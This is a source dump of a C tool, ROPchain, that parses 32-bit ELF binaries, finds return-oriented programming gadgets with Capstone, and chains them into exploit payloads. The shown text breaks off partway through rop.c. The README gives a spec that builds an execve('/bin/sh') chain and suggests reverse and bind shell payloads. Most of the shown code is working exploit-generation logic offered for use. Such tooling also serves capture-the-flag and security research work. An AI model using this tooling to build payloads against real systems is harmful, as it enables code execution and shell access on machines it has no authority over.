├── .gitignore ├── Makefile ├── README.md ├── elf.c ├── elf.h ├── main.c ├── rop.c ├── rop.h ├── spec.c ├── spec.h ├── tree.c └── tree.h /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Libraries 8 | *.lib 9 | *.a 10 | *.la 11 | *.lo 12 | 13 | # Shared objects (inc. Windows DLLs) 14 | *.dll 15 | *.so 16 | *.so.* 17 | *.dylib 18 | 19 | # Executables 20 | *.exe 21 | *.out 22 | *.app 23 | *.i*86 24 | *.x86_64 25 | *.hex 26 | 27 | ropchain 28 | test/ 29 | .gdb_history 30 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | 3 | all: ropchain libropchain.so 4 | 5 | ropchain: main.c libropchain.so 6 | ${CC} $< -L. -Wl,-rpath . -lropchain -o $@ 7 | 8 | libropchain.so: rop.c tree.c elf.c spec.c 9 | ${CC} $^ -fPIC -shared -Wall -lcapstone -o $@ 10 | 11 | clean: 12 | @rm ropchain libropchain.so 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ROPchain Tool 2 | ========== 3 | 4 | ROPchain is a x86 systematic ROP payload generation. This tool provides an ROP API library, allowing users to generate customized payload. ROPchain is written in C using Capstone disassembly framework. 5 | 6 | Install 7 | ------- 8 | 9 | To use ROPchain, you have to install [Capstone](http://www.capstone-engine.org/documentation.html) first. 10 | 11 | After installing Capstone, download the ROPchain and build it. 12 | 13 | $ git clone git@github.com:SQLab/ropchain.git 14 | $ cd ropchain 15 | $ make 16 | 17 | Usage 18 | ----- 19 | 20 | usage: ropchain [-p ] [-o ] 21 | [-b ] [-l ] [-v ] 22 | 23 | optional arguments: 24 | -p Print all gadgets. (default true) 25 | -o Add padding(offset) bytes to payload. (default 0) 26 | -b Bypass badbyte gadgets. ex: "00|20|0a" 27 | -l Allow maximum gadget length (default 10) 28 | -v Show gadgets search verbose (default false) 29 | 30 | Tips for rechain gadgets 31 | ------------------------ 32 | 33 | If you want to replace specific gadget, please make good use of "-b" badbyte argument. 34 | 35 | For example, 36 | 37 | If I don't like this gadget "0x0819a2cd : pop edx; pop ebx; ret", 38 | 39 | you can add -b "cd" argument to get another gadget. 40 | 41 | Payload Specification 42 | --------------------- 43 | 44 | Edit spec.c and use the ROP API to generate customized payload. 45 | 46 | Default is execve("/bin/sh") and you can do more. 47 | 48 | ex: Reverse TCP shell, Bind TCP shell ... 49 | 50 | ``` 51 | #include "spec.h" 52 | int rop_chain_payload(struct Node *root, struct Gadget *head, struct Arg *arg) 53 | { 54 | struct API *api; 55 | unsigned int data = 0x080efff0; 56 | rop_build_api(root, &api, arg); 57 | 58 | printf("\n--- Start chain *execve(\"/bin/sh\")* gadgets ---\n\n"); 59 | rop_chain_list_init(head); 60 | 61 | rop_write_memory_gadget(head, api, data, 0x6e69622f); 62 | rop_write_memory_gadget(head, api, data + 4, 0x68732f2f); 63 | rop_write_memory_gadget(head, api, data + 8, 0); 64 | 65 | rop_write_register_gadget(api, "ebx", data); 66 | rop_write_register_gadget(api, "ecx", data + 8); 67 | rop_write_register_gadget(api, "edx", data + 8); 68 | rop_chain_write_register_gadget(head, api); 69 | 70 | rop_zero_register_gadget(head, api, "eax"); 71 | rop_add_register_gadget(head, api, "eax", 11); 72 | rop_interrupt_gadget(head, api); 73 | 74 | rop_end_api(api); 75 | return 0; 76 | } 77 | ``` 78 | -------------------------------------------------------------------------------- /elf.c: -------------------------------------------------------------------------------- 1 | #include "elf.h" 2 | 3 | struct Segment* elf_parse(unsigned char *binary) 4 | { 5 | struct Segment *text; 6 | unsigned int text_offset; 7 | if(elf_valid(binary) == -1) 8 | { 9 | return 0; 10 | } 11 | text_offset = elf_get_load_offset(binary); 12 | text = (struct Segment*)&binary[text_offset]; 13 | return text; 14 | } 15 | 16 | int elf_valid(unsigned char *binary) 17 | { 18 | if(strncmp((char*)binary, "\177ELF", 4)) 19 | { 20 | printf("It's not a ELF file.\n"); 21 | return -1; 22 | } 23 | /* format */ 24 | if(binary[4] == '\x01') 25 | { 26 | //printf("ELF32\n"); 27 | } 28 | else if(binary[4] == '\x02') 29 | { 30 | //printf("ELF64\n"); 31 | return -1; 32 | } 33 | return 0; 34 | } 35 | 36 | unsigned int elf_get_load_offset(unsigned char *binary) 37 | { 38 | unsigned int i; 39 | struct Segment *seg; 40 | int text_offset = 0; 41 | int header_size = (int)binary[44]; 42 | printf("Program Headers:\n"); 43 | printf("Type\t\tOffset\t\tVirtAddr\tPhysAddr\tFileSiz\t\tMemSiz\t\tFlag\t\tAlign\n"); 44 | for(i = 0; i < header_size; i++) 45 | { 46 | seg = (struct Segment*)&binary[52 + i * 32]; 47 | switch(seg->type) 48 | { 49 | case 1: 50 | printf("PT_LOAD\t\t"); 51 | if(text_offset == 0) 52 | { 53 | text_offset = 52 + i * 32; 54 | } 55 | break; 56 | case 2: 57 | printf("PT_DYNAMIC\t"); 58 | break; 59 | case 3: 60 | printf("PT_INTERP\t"); 61 | break; 62 | case 4: 63 | printf("PT_NOTE\t\t"); 64 | break; 65 | case 5: 66 | printf("PT_SHLIB\t"); 67 | break; 68 | case 6: 69 | printf("PT_PHDR\t\t"); 70 | break; 71 | case 7: 72 | printf("PT_TLS\t\t"); 73 | break; 74 | case 8: 75 | printf("PT_NUM\t\t"); 76 | break; 77 | case 0x60000000: 78 | printf("PT_LOOS\t\t"); 79 | break; 80 | case 0x6474e550: 81 | printf("PT_EH_FRAME\t"); 82 | break; 83 | case 0x6474e551: 84 | printf("PT_STACK\t"); 85 | break; 86 | case 0x6474e552: 87 | printf("PT_RELRO\t"); 88 | break; 89 | default: 90 | printf("PT_OTHER\t"); 91 | } 92 | printf("0x%08x\t0x%08x\t0x%08x\t0x%08x\t0x%08x\t0x%08x\t0x%08x\n", seg->offset, seg->vaddr, seg->paddr, seg->filesz, seg->memsz, seg->flags, seg->align); 93 | } 94 | printf("\n"); 95 | return text_offset; 96 | } 97 | -------------------------------------------------------------------------------- /elf.h: -------------------------------------------------------------------------------- 1 | #ifndef _elf_h 2 | #define _elf_h 3 | 4 | #include 5 | #include 6 | 7 | struct Segment{ 8 | unsigned int type; 9 | unsigned int offset; 10 | unsigned int vaddr; 11 | unsigned int paddr; 12 | unsigned int filesz; 13 | unsigned int memsz; 14 | unsigned int flags; 15 | unsigned int align; 16 | }; 17 | 18 | 19 | struct Segment* elf_parse(unsigned char *binary); 20 | int elf_valid(unsigned char *binary); 21 | unsigned int elf_get_load_offset(unsigned char *binary); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include "rop.h" 2 | 3 | void usage(void) 4 | { 5 | printf("Usage:\n"); 6 | printf(" ropchain [-p ] [-o ] [-b ] [-l ] [-v ]\n"); 7 | printf(" -p\tPrint all gadgets.\n"); 8 | printf(" -o\tAdd padding(offset) bytes to payload.\n"); 9 | printf(" -b\tBypass badbyte gadgets. ex: \"00|20|0a\"\n"); 10 | printf(" -l\tMaximum gadgets length\"\n"); 11 | printf(" -v\tVerbose gadgets messages\"\n"); 12 | exit (-1); 13 | } 14 | 15 | int parse_arg(int argc, char** argv, struct Arg *arg); 16 | 17 | int main(int argc, char** argv) 18 | { 19 | FILE *fp; 20 | unsigned char *binary; 21 | unsigned long binary_len; 22 | unsigned char *chain; 23 | int chain_len = 0; 24 | int i; 25 | struct Arg *arg; 26 | 27 | if(argc < 2) 28 | { 29 | usage(); 30 | } 31 | fp = fopen(argv[1], "rb"); 32 | 33 | if(!fp) 34 | { 35 | fprintf(stderr ,"Fail to open file.\n"); 36 | return -1; 37 | } 38 | 39 | //Get file length 40 | fseek(fp, 0, SEEK_END); 41 | binary_len=ftell(fp); 42 | fseek(fp, 0, SEEK_SET); 43 | 44 | //Allocate memory 45 | binary = (unsigned char *)malloc(binary_len+1); 46 | if(!binary) 47 | { 48 | fprintf(stderr ,"malloc failed.\n"); 49 | return -1; 50 | } 51 | if(fread(binary, binary_len, 1, fp) == 0) 52 | { 53 | return -1; 54 | } 55 | argv++; 56 | argc--; 57 | 58 | //Arg init 59 | arg = (struct Arg *)malloc(sizeof(struct Arg)); 60 | if(!arg) 61 | { 62 | fprintf(stderr ,"malloc failed.\n"); 63 | return -1; 64 | } 65 | parse_arg(argc, argv, arg); 66 | 67 | chain_len = rop_chain(&chain, binary, arg); 68 | if(chain_len > 0) 69 | { 70 | printf("\n--- Result ---\n"); 71 | for(i = 0; i < arg->offset; i++) 72 | printf("\\x41"); 73 | for(i = 0; i < chain_len; i++) 74 | printf("\\x%02x",chain[i]); 75 | printf("\n"); 76 | } 77 | free(binary); 78 | free(arg); 79 | fclose(fp); 80 | return 0; 81 | } 82 | 83 | int parse_arg(int argc, char** argv, struct Arg *arg) 84 | { 85 | char *endptr; 86 | char *pch; 87 | arg->print = 1; 88 | arg->verbose = 0; 89 | arg->depth = 10; 90 | arg->offset = 0; 91 | arg->badbyte_no = 0; 92 | //Parse command 93 | while ((argc > 1) && (argv[1][0] == '-')) 94 | { 95 | if(argv[2]) 96 | { 97 | switch (argv[1][1]) 98 | { 99 | case 'p': 100 | if(!strcmp(argv[2], "false") || !strcmp(argv[2], "0")) 101 | { 102 | arg->print = 0; 103 | } 104 | break; 105 | case 'v': 106 | if(!strcmp(argv[2], "True") || !strcmp(argv[2], "1")) 107 | { 108 | arg->verbose = 1; 109 | } 110 | break; 111 | case 'o': 112 | arg->offset = strtol(argv[2], &endptr, 10); 113 | break; 114 | case 'l': 115 | arg->depth = strtol(argv[2], &endptr, 10); 116 | break; 117 | case 'b': 118 | pch = strtok(argv[2], "|"); 119 | while(pch != NULL) 120 | { 121 | arg->badbyte[arg->badbyte_no] = (unsigned char)strtol(pch, NULL, 16); 122 | arg->badbyte_no++; 123 | pch = strtok(NULL, "|"); 124 | } 125 | break; 126 | default: 127 | usage(); 128 | } 129 | argv += 2; 130 | argc -= 2; 131 | } 132 | else 133 | { 134 | fprintf(stderr, "Parser args failed.[%s]\n", argv[1]); 135 | return -1; 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /rop.c: -------------------------------------------------------------------------------- 1 | #include "rop.h" 2 | 3 | int rop_chain(unsigned char **chain, unsigned char *binary, struct Arg *arg) 4 | { 5 | struct Node *root; 6 | struct Segment *text; 7 | int result; 8 | text = elf_parse(binary); 9 | if(!text) 10 | { 11 | fprintf(stderr ,"parse elf failed.\n"); 12 | return -1; 13 | } 14 | root = (struct Node *)malloc(sizeof(struct Node)); 15 | if(!root) 16 | { 17 | fprintf(stderr ,"malloc failed.\n"); 18 | return -1; 19 | } 20 | struct Gadget *head; 21 | head = (struct Gadget *)malloc(sizeof(struct Gadget)); 22 | if(!head) 23 | { 24 | fprintf(stderr ,"malloc failed.\n"); 25 | return -1; 26 | } 27 | *chain = (unsigned char *)malloc(sizeof(unsigned char)); 28 | if(!*chain) 29 | { 30 | fprintf(stderr ,"malloc failed.\n"); 31 | return -1; 32 | } 33 | rop_parse_gadgets(root, binary, text, arg); 34 | result = rop_chain_payload(root, head, arg); 35 | if(!result) 36 | { 37 | result = rop_chain_list_traverse(head, chain); 38 | } 39 | rop_chain_list_free(head); 40 | tree_free(root); 41 | return result; 42 | } 43 | 44 | int rop_parse_gadgets(struct Node *root, unsigned char *binary, struct Segment *text, struct Arg *arg) 45 | { 46 | size_t count; 47 | csh handle; 48 | cs_insn *insn; 49 | char gadget_string[MaxGadgetLen]; 50 | int total_gadget = 0; 51 | size_t i,j,k; 52 | 53 | tree_init(root); 54 | 55 | if(cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) 56 | { 57 | return -1; 58 | } 59 | for(i = 0; i < text->memsz - MaxGadgetByte; i++) 60 | { 61 | count = cs_disasm_ex(handle, binary + i, MaxGadgetByte, text->vaddr + i, 0, &insn); 62 | if(count > 0) 63 | { 64 | strcpy(gadget_string, ""); 65 | for(j = 0; j < count; j++) 66 | { 67 | /* Drop the gadgets start with ret */ 68 | if(!strcmp(insn[0].mnemonic, "ret")) 69 | { 70 | break; 71 | } 72 | /* Drop jump/call gadgets */ 73 | else if(strchr(insn[j].mnemonic, 'j') 74 | || strstr(insn[j].mnemonic, "call") || strstr(insn[j].mnemonic, "push")) 75 | { 76 | break; 77 | } 78 | /* Ret-type gadgets */ 79 | else if(!strcmp(insn[j].mnemonic, "ret") && j) 80 | { 81 | if(strlen(insn[j].op_str) == 0) 82 | { 83 | total_gadget++; 84 | for(k = 0; k < j; k++) 85 | { 86 | if(arg->print && strlen(gadget_string) 87 | + strlen(insn[k].mnemonic) + strlen(insn[k].op_str) + 7 < MaxGadgetLen) 88 | { 89 | strcat(gadget_string, insn[k].mnemonic); 90 | if(strlen(insn[k].op_str) > 0) 91 | { 92 | strcat(gadget_string, " "); 93 | strcat(gadget_string, insn[k].op_str); 94 | } 95 | strcat(gadget_string, " ; "); 96 | } 97 | } 98 | /* tree build */ 99 | tree_build(root, 0, insn, j+1); 100 | if(arg->print && strlen(gadget_string) + 3 < MaxGadgetLen) 101 | { 102 | strcat(gadget_string, "ret"); 103 | /* print all gadgets */ 104 | printf("%d\t0x0%x:\t%s\n", j+1, text->vaddr + i, gadget_string); 105 | } 106 | } 107 | else 108 | { 109 | i += j; 110 | } 111 | strcpy(gadget_string, ""); 112 | break; 113 | } 114 | else if(j == 0 && !strcmp(insn[j].mnemonic, "int") && !strcmp(insn[j].op_str, "0x80")) 115 | { 116 | total_gadget++; 117 | /* tree build */ 118 | tree_build(root, 0, insn, j+1); 119 | if(arg->print == 1) 120 | { 121 | /* print int80 gadgets */ 122 | printf("%d\t0x0%"PRIx64":\tint 0x80\n", j+1, insn[j].address); 123 | } 124 | break; 125 | } 126 | } 127 | cs_free(insn, count); 128 | } 129 | } 130 | printf("Gadget find = %d\n",total_gadget); 131 | cs_close(&handle); 132 | return 0; 133 | } 134 | 135 | void rop_build_api(struct Node *root, struct API **api, struct Arg *arg) 136 | { 137 | *api = (struct API *)malloc(sizeof(struct API)); 138 | if(!*api) 139 | { 140 | fprintf(stderr ,"malloc failed.\n"); 141 | exit(-1); 142 | } 143 | (*api)->result_writeMEM = rop_build_write_memory_gadget(root, &((*api)->writeMEM), arg); 144 | (*api)->result_readMEM = rop_build_read_memory_gadget(root, &((*api)->readMEM), arg); 145 | (*api)->result_writeREG = rop_build_write_register_gadget(root, &((*api)->writeREG), arg); 146 | (*api)->result_xchgREG = rop_build_xchg_register_gadget(root, &((*api)->xchgREG), arg); 147 | (*api)->result_movREG = rop_build_move_register_gadget(root, &((*api)->movREG), arg); 148 | (*api)->result_zeroREG = rop_build_zero_register_gadget(root, &((*api)->zeroREG), arg); 149 | (*api)->result_shiftREG = rop_build_shift_register_gadget(root, &((*api)->shiftREG), arg); 150 | (*api)->result_addREG = rop_build_add_register_gadget(root, &((*api)->addREG), arg); 151 | (*api)->result_cmpFLAG = rop_build_cmp_flag_gadget(root, &((*api)->cmpFLAG), arg); 152 | (*api)->result_saveFLAG = rop_build_save_flag_gadget(root, &((*api)->saveFLAG), arg); 153 | (*api)->result_deltaFLAG = rop_build_delta_flag_gadget(root, &((*api)->deltaFLAG), arg, *api); 154 | (*api)->result_jumpFLAG = rop_build_conditional_jump_gadget(root, &((*api)->jumpFLAG), arg); 155 | (*api)->result_INT = rop_build_interrupt_gadget(root, &((*api)->INT), arg); 156 | } 157 | 158 | void rop_end_api(struct API *api) 159 | { 160 | rop_chain_list_free(api->writeMEM); 161 | rop_chain_list_free(api->readMEM); 162 | rop_chain_list_free(api->writeREG); 163 | rop_chain_list_free(api->zeroREG); 164 | rop_chain_list_free(api->shiftREG); 165 | rop_chain_list_free(api->xchgREG); 166 | rop_chain_list_free(api->movREG); 167 | rop_chain_list_free(api->addREG); 168 | rop_chain_list_free(api->cmpFLAG); 169 | rop_chain_list_free(api->saveFLAG); 170 | rop_chain_list_free(api->deltaFLAG); 171 | rop_chain_list_free(api->INT); 172 | } 173 | 174 | int rop_chain_write_register_gadget(struct Gadget *head, struct API *api) 175 | { 176 | int i, j, j_max, k; 177 | struct Gadget *writeREG = api->writeREG; 178 | struct Gadget *temp = writeREG; 179 | char part_target_write[20][10]; 180 | char string_padding[20]; 181 | int part_target_write_no = 0; 182 | int gw_ttw, gw_ptw; 183 | /* find last one and ptw */ 184 | for(i = 0; i < writeREG->total_target_write_no; i++) 185 | { 186 | temp = temp->next->next; 187 | while(temp->address == 0) 188 | { 189 | temp->prev->order = -1; 190 | temp = temp->next->next; 191 | } 192 | temp = temp->prev; 193 | gw_ttw = 0; 194 | for(j = 1; j < temp->gadget_write_no; j++) 195 | { 196 | for(k = 0; k < writeREG->total_target_write_no; k++) 197 | { 198 | if(!strcmp(temp->gadget_write[j], writeREG->total_target_write[k])) 199 | { 200 | gw_ttw++; 201 | } 202 | } 203 | } 204 | if(gw_ttw == 0) 205 | { 206 | temp->order = 20; 207 | } 208 | else 209 | { 210 | temp->order = -1; 211 | strcpy(part_target_write[part_target_write_no++], temp->target_write); 212 | } 213 | temp = temp->next; 214 | } 215 | /* sort ptw order */ 216 | temp = writeREG; 217 | for(i = 0; i < part_target_write_no; i++) 218 | { 219 | temp = temp->next->next; 220 | while(temp->address == 0 || temp->prev->order == 20) 221 | { 222 | temp = temp->next->next; 223 | } 224 | temp = temp->prev; 225 | gw_ptw = 0; 226 | for(j = 1; j < temp->gadget_write_no; j++) 227 | { 228 | for(k = 0; k < part_target_write_no; k++) 229 | { 230 | if(!strcmp(temp->gadget_write[j], part_target_write[k])) 231 | { 232 | gw_ptw++; 233 | } 234 | } 235 | } 236 | temp->order = 19 - gw_ptw; 237 | temp = temp->next; 238 | } 239 | /* Add to list */ 240 | for(i = 0; i <= 20; i++) 241 | { 242 | temp = writeREG; 243 | j_max = writeREG->total_target_write_no; 244 | for(j = 0; j < j_max; j++) 245 | { 246 | temp = temp->next->next; 247 | while(temp->address == 0) 248 | { 249 | temp = temp->next->next; 250 | } 251 | temp = temp->prev; 252 | if(temp->order == i) 253 | { 254 | rop_chain_list_add(head, temp->address, temp->string, 1); 255 | rop_chain_list_add(head, temp->next->address, temp->next->string, 1); 256 | if(temp->padding > 0) 257 | { 258 | sprintf(string_padding, "padding*%d", temp->padding); 259 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 260 | } 261 | /* Reset pop value */ 262 | temp->order = -1; 263 | temp->next->address = 0; 264 | writeREG->total_target_write_no--; 265 | } 266 | temp = temp->next; 267 | } 268 | } 269 | writeREG->total_target_write_no = 0; 270 | return 0; 271 | } 272 | 273 | int rop_write_memory_gadget(struct Gadget *head, struct API *api, unsigned int dest, unsigned int value) 274 | { 275 | struct Gadget *temp; 276 | char string_value[4]; 277 | char string_padding[20]; 278 | if(api->result_writeMEM == -1) 279 | { 280 | printf("X: Can't find writeMEM gadget to do this operation.\n"); 281 | exit(-1); 282 | } 283 | temp = api->writeMEM->next; 284 | /* bypass xor gadget */ 285 | if(value == 0) 286 | { 287 | rop_chain_list_add(head, temp->address, temp->string, 1); 288 | if(temp->padding > 0) 289 | { 290 | sprintf(string_padding, "padding*%d", temp->padding); 291 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 292 | } 293 | temp = temp->next; 294 | } 295 | else 296 | { 297 | temp = temp->next; 298 | rop_chain_list_add(head, temp->address, temp->string, 1); 299 | memcpy(string_value, &value, 4); 300 | rop_chain_list_add(head, value, string_value, 1); 301 | if(temp->padding > 0) 302 | { 303 | sprintf(string_padding, "padding*%d", temp->padding); 304 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 305 | } 306 | } 307 | /* write dest */ 308 | temp = temp->next; 309 | rop_chain_list_add(head, temp->address, temp->string, 1); 310 | rop_chain_list_add(head, dest, "dest", 1); 311 | if(temp->padding > 0) 312 | { 313 | sprintf(string_padding, "padding*%d", temp->padding); 314 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 315 | } 316 | /* move value to dest */ 317 | temp = temp->next; 318 | rop_chain_list_add(head, temp->address, temp->string, 1); 319 | if(temp->padding > 0) 320 | { 321 | sprintf(string_padding, "padding*%d", temp->padding); 322 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 323 | } 324 | return 0; 325 | } 326 | 327 | int rop_write_register_gadget(struct API *api, char *dest, unsigned int value) 328 | { 329 | struct Gadget *temp; 330 | temp = api->writeREG->next; 331 | while(temp) 332 | { 333 | if(strstr(temp->target_write ,dest)) 334 | { 335 | temp = temp->next; 336 | temp->address = value; 337 | strcpy(api->writeREG->total_target_write[api->writeREG->total_target_write_no++], dest); 338 | return 0; 339 | } 340 | temp = temp->next; 341 | } 342 | printf("X: Can't find writeREG gadget to do this operation.\n"); 343 | exit(-1); 344 | } 345 | 346 | int rop_xchg_register_gadget(struct Gadget *head, struct API *api, char *op1, char *op2) 347 | { 348 | struct Gadget *temp; 349 | char gadget_string[MaxGadgetLen] = ""; 350 | char gadget_string2[MaxGadgetLen] = ""; 351 | char string_padding[20]; 352 | temp = api->xchgREG->next; 353 | sprintf(gadget_string, "xchg %s, %s", op1, op2); 354 | sprintf(gadget_string2, "xchg %s, %s", op2, op1); 355 | while(temp) 356 | { 357 | if(strstr(temp->string ,gadget_string) || strstr(temp->string ,gadget_string2)) 358 | { 359 | rop_chain_list_add(head, temp->address, temp->string, 1); 360 | if(temp->padding > 0) 361 | { 362 | sprintf(string_padding, "padding*%d", temp->padding); 363 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 364 | } 365 | return 0; 366 | } 367 | temp = temp->next; 368 | } 369 | printf("X: Can't find xchgREG gadget to do this operation.\n"); 370 | exit(-1); 371 | } 372 | 373 | int rop_move_register_gadget(struct Gadget *head, struct API *api, char *dest, char *src) 374 | { 375 | struct Gadget *temp; 376 | char gadget_string[MaxGadgetLen] = ""; 377 | char string_padding[20]; 378 | temp = api->movREG->next; 379 | sprintf(gadget_string, "mov %s, %s", dest, src); 380 | while(temp) 381 | { 382 | if(strstr(temp->string ,gadget_string)) 383 | { 384 | rop_chain_list_add(head, temp->address, temp->string, 1); 385 | if(temp->padding > 0) 386 | { 387 | sprintf(string_padding, "padding*%d", temp->padding); 388 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 389 | } 390 | return 0; 391 | } 392 | temp = temp->next; 393 | } 394 | printf("X: Can't find movREG gadget to do this operation.\n"); 395 | exit(-1); 396 | } 397 | 398 | int rop_read_memory_gadget(struct Gadget *head, struct API *api, char *dest, unsigned int src) 399 | { 400 | struct Gadget *temp; 401 | char string_padding[20]; 402 | temp = api->readMEM->next; 403 | while(temp) 404 | { 405 | if(!strcmp(temp->target_write, dest)) 406 | { 407 | if(strcmp(temp->next->string, "null")) 408 | { 409 | rop_chain_list_add(head, temp->next->address, temp->next->string, 1); 410 | rop_chain_list_add(head, src, "address", 1); 411 | if(temp->next->padding > 0) 412 | { 413 | sprintf(string_padding, "padding*%d", temp->next->padding); 414 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 415 | } 416 | rop_chain_list_add(head, temp->address, temp->string, 1); 417 | if(temp->padding > 0) 418 | { 419 | sprintf(string_padding, "padding*%d", temp->padding); 420 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 421 | } 422 | return 0; 423 | } 424 | } 425 | temp = temp->next->next; 426 | } 427 | printf("X: Can't find readMEM gadget to do this operation.\n"); 428 | exit(-1); 429 | } 430 | 431 | int rop_zero_register_gadget(struct Gadget *head, struct API *api, char *dest) 432 | { 433 | struct Gadget *temp; 434 | char string_padding[20]; 435 | temp = api->zeroREG->next; 436 | while(temp) 437 | { 438 | if(strstr(temp->target_write ,dest)) 439 | { 440 | rop_chain_list_add(head, temp->address, temp->string, 1); 441 | if(temp->padding > 0) 442 | { 443 | sprintf(string_padding, "padding*%d", temp->padding); 444 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 445 | } 446 | return 0; 447 | } 448 | temp = temp->next; 449 | } 450 | printf("X: Can't find zeroREG gadget to do this operation.\n"); 451 | exit(-1); 452 | } 453 | 454 | int rop_shift_register_gadget(struct Gadget *head, struct API *api, char *dest) 455 | { 456 | struct Gadget *temp; 457 | char string_padding[20]; 458 | temp = api->shiftREG->next; 459 | while(temp) 460 | { 461 | if(strstr(temp->target_write ,dest)) 462 | { 463 | rop_chain_list_add(head, temp->address, temp->string, 1); 464 | if(temp->padding > 0) 465 | { 466 | sprintf(string_padding, "padding*%d", temp->padding); 467 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 468 | } 469 | return 0; 470 | } 471 | temp = temp->next; 472 | } 473 | printf("X: Can't find shiftREG gadget to do this operation.\n"); 474 | exit(-1); 475 | } 476 | 477 | int rop_add_register_gadget(struct Gadget *head, struct API *api, char *dest, unsigned int value) 478 | { 479 | unsigned int i; 480 | char string_padding[20]; 481 | struct Gadget *temp; 482 | temp = api->addREG->next; 483 | while(temp) 484 | { 485 | if(strstr(temp->target_write ,dest)) 486 | { 487 | for(i = 0; i < value; i++) 488 | { 489 | rop_chain_list_add(head, temp->address, temp->string, 1); 490 | if(temp->padding > 0) 491 | { 492 | sprintf(string_padding, "padding*%d", temp->padding); 493 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 494 | } 495 | } 496 | return 0; 497 | } 498 | temp = temp->next; 499 | } 500 | printf("X: Can't find addREG gadget to do this operation.\n"); 501 | exit(-1); 502 | } 503 | 504 | int rop_cmp_flag_gadget(struct Gadget *head, struct API *api, char *op1, char *op2) 505 | { 506 | struct Gadget *temp; 507 | char string_padding[20]; 508 | char string_instruct1[20]; 509 | char string_instruct2[20]; 510 | sprintf(string_instruct1, "sub %s, %s", op1, op2); 511 | sprintf(string_instruct2, "sub %s, %s", op2, op1); 512 | temp = api->cmpFLAG->next; 513 | while(temp) 514 | { 515 | if(strstr(temp->string, string_instruct1) || strstr(temp->string, string_instruct2)) 516 | { 517 | if(strcmp(temp->next->string, "null")) 518 | { 519 | rop_chain_list_add(head, temp->address, temp->string, 1); 520 | if(temp->padding > 0) 521 | { 522 | sprintf(string_padding, "padding*%d", temp->padding); 523 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 524 | } 525 | rop_chain_list_add(head, temp->next->address, temp->next->string, 1); 526 | if(temp->next->padding > 0) 527 | { 528 | sprintf(string_padding, "padding*%d", temp->next->padding); 529 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 530 | } 531 | return 0; 532 | } 533 | } 534 | temp = temp->next->next; 535 | } 536 | printf("X: Can't find cmpFLAG gadget to do this operation.\n"); 537 | exit(-1); 538 | } 539 | 540 | int rop_save_flag_gadget(struct Gadget *head, struct API *api, unsigned int dest) 541 | { 542 | struct Gadget *pop1, *pop2; 543 | struct Gadget *dec, *adc, *mov; 544 | char string_padding[20]; 545 | int i; 546 | if(api->result_saveFLAG == -1) 547 | { 548 | printf("X: Can't find saveFLAG gadget to do this operation.\n"); 549 | exit(-1); 550 | } 551 | dec = api->saveFLAG->next; 552 | adc = dec->next; 553 | pop2 = adc->next; 554 | pop1 = pop2->next; 555 | mov = pop1->next; 556 | rop_chain_list_add(head, pop2->address, pop2->string, 1); 557 | rop_chain_list_add(head, 0xffffff01, "bitwise", 1); 558 | if(pop2->padding > 0) 559 | { 560 | sprintf(string_padding, "padding*%d", pop2->padding); 561 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 562 | } 563 | rop_chain_list_add(head, adc->address, adc->string, 1); 564 | if(adc->padding > 0) 565 | { 566 | sprintf(string_padding, "padding*%d", adc->padding); 567 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 568 | } 569 | for(i = 0; i < api->result_saveFLAG + 1; i++) 570 | { 571 | rop_chain_list_add(head, dec->address, dec->string, 1); 572 | if(dec->padding > 0) 573 | { 574 | sprintf(string_padding, "padding*%d", dec->padding); 575 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 576 | } 577 | } 578 | rop_chain_list_add(head, pop1->address, pop1->string, 1); 579 | rop_chain_list_add(head, dest, "flag_dst", 1); 580 | if(pop1->padding > 0) 581 | { 582 | sprintf(string_padding, "padding*%d", pop1->padding); 583 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 584 | } 585 | rop_chain_list_add(head, mov->address, mov->string, 1); 586 | if(mov->padding > 0) 587 | { 588 | sprintf(string_padding, "padding*%d", mov->padding); 589 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 590 | } 591 | return 0; 592 | } 593 | 594 | int rop_delta_flag_gadget(struct Gadget *head, struct API *api, unsigned int dest, int delta, char *flag) 595 | { 596 | struct Gadget *temp; 597 | struct Gadget *xor, *add, *pop; 598 | struct Gadget *neg, *and, *mov; 599 | char string_padding[20]; 600 | char string_neg[20]; 601 | int i; 602 | sprintf(string_neg, "neg %s", flag); 603 | temp = api->deltaFLAG->next; 604 | while(temp) 605 | { 606 | if(strstr(temp->string, string_neg)) 607 | { 608 | break; 609 | } 610 | temp = temp->next; 611 | } 612 | if(!temp) 613 | { 614 | printf("X: Can't find deltaFLAG gadget to do this operation.\n"); 615 | exit(-1); 616 | } 617 | 618 | neg = temp; 619 | rop_chain_list_add(head, neg->address, neg->string, 1); 620 | if(neg->padding > 0) 621 | { 622 | sprintf(string_padding, "padding*%d", neg->padding); 623 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 624 | } 625 | 626 | xor = neg->next; 627 | rop_chain_list_add(head, xor->address, xor->string, 1); 628 | if(xor->padding > 0) 629 | { 630 | sprintf(string_padding, "padding*%d", xor->padding); 631 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 632 | } 633 | 634 | add = xor->next; 635 | for(i = 0; i < delta; i++) 636 | { 637 | rop_chain_list_add(head, add->address, add->string, 1); 638 | 